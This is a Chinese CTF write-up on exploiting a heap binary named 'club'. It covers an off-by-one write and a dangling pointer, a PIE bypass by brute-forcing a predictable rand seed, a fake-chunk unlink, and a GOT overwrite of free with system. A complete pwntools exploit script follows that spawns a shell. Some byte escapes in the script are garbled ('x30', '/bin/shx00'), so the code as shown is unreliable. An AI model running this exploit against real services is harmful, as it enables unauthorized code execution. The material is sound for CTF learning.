off-by-one
0x00 发现漏洞
1.off-by-one
在massage函数中,如图所示,可以修改的字节数比原内存大小多了一个字节
2.悬挂指针
可以看到,在free堆块的时候,没有清空指针,造成悬挂指针
0x01漏洞利用
1.绕过PIE
在函数guess_box中让我们猜测随机数的值,随机数种子是seed的地址的后8位字节
由于随机数并不是真正的随机,随机数的产生是有规律的,在两个不同的环境下同样的种子每次产生的随机数都是相同的。由此我们可以进行爆破,从而得到seed的地址,进一步绕过PIE.
2.unlink
首先创建两个堆块,大小分别是0x108,0x120。当一个 chunk 处于使用状态时, 它的下一个 chunk 的 prev_size域肯定是无效的。所以实际上,这个空间也可以被当前 chunk 使用。 在这里的意思就是说0x108这个堆块占用了0x120堆块的prev_size域,继续往下就是0x120堆块的size域了,而我们此时恰好可以继续往下写一个字节,这个字节可以覆盖0x120 size域的NP值,我们只需要P值被改变就行。下图是创建两个堆块之后的堆内存状态。
然后我们修改第二块内存。
base = 程序基址
p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'x30'
为了绕过unlink检查,构造了一个伪造的chunk。现在堆内存如下图。
3.getshell
因为给了libc。所以只要直接leak got来获取libc位置。再将free改成system来free一块保存/bin/sh的chunk就可以获得shell。exp如下。
from pwn import * import ctypes context.log_level = 'debug' so = ctypes.CDLL('/lib/x86_64-linux-gnu/libc.so.6') elf = ELF('./libc.so.6') t = process('./club') # t = remote('123.206.22.95', 8888) def guess(num = 12345): t.recvuntil('> ') t.sendline('5') t.recvuntil('> ') t.sendline(str(num)) t.recvuntil('Wr0ng answer!The number is ') num = t.recvuntil('!') return int(num[:-1]) def get_base(num): t.recvuntil('> ') t.sendline('5') t.recvuntil('> ') t.sendline(str(num)) t.recvuntil('G00dj0b!You get a secret: ') num = t.recvuntil('!') return int(num[:-1]) def guess_seed(num): for i in xrange(0x100000,0,-1): i = i<<12 i += 0x148 so.srand(i) j = 0 while j < 30: j += 1 a = so.rand() if a == num[j-1]: continue break if j == 30: return so.rand() print 'aaa' print i return 0 def add(choose, size): t.recvuntil('> ') t.sendline("1") t.recvuntil('> ') t.sendline(str(choose)) t.recvuntil('> ') t.sendline(str(size)) def edit(choose, payload): t.recvuntil('> ') t.sendline("3") t.recvuntil('> ') t.sendline(str(choose)) t.send(payload) def free(choose): t.recvuntil('> ') t.sendline("2") t.recvuntil('> ') t.sendline(str(choose)) num_table = [] for i in range(30): num_table.append(guess()) print num_table r = guess_seed(num_table) num = get_base(r) base = num - 0x0000000000202148 print hex(base) add(1, 0x108) add(2, 0x120) edit(1, p64(0)+p64(0x101)+p64(base+0x0000000000202108-24)+p64(base+0x0000000000202108-16)+'a'*0xe0+p64(0x100)+'x30') raw_input() free(2) edit(1,p64(base + 0x0000000000202018)+p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018) + p64(base + 0x0000000000202018)+' ') print 'aaaaaaaaa' t.recvuntil('> ') t.sendline("4") t.recvuntil('> ') t.sendline("1") a = t.recvline()[:-1] a = a.ljust(8,'x00') free_a = u64(a) print hex(free_a) libc = free_a - elf.symbols['free'] system = libc + elf.symbols['system'] edit(1, p64(system)+' ') add(3, 0x138) edit(3, '/bin/shx00 ') free(3) t.interactive()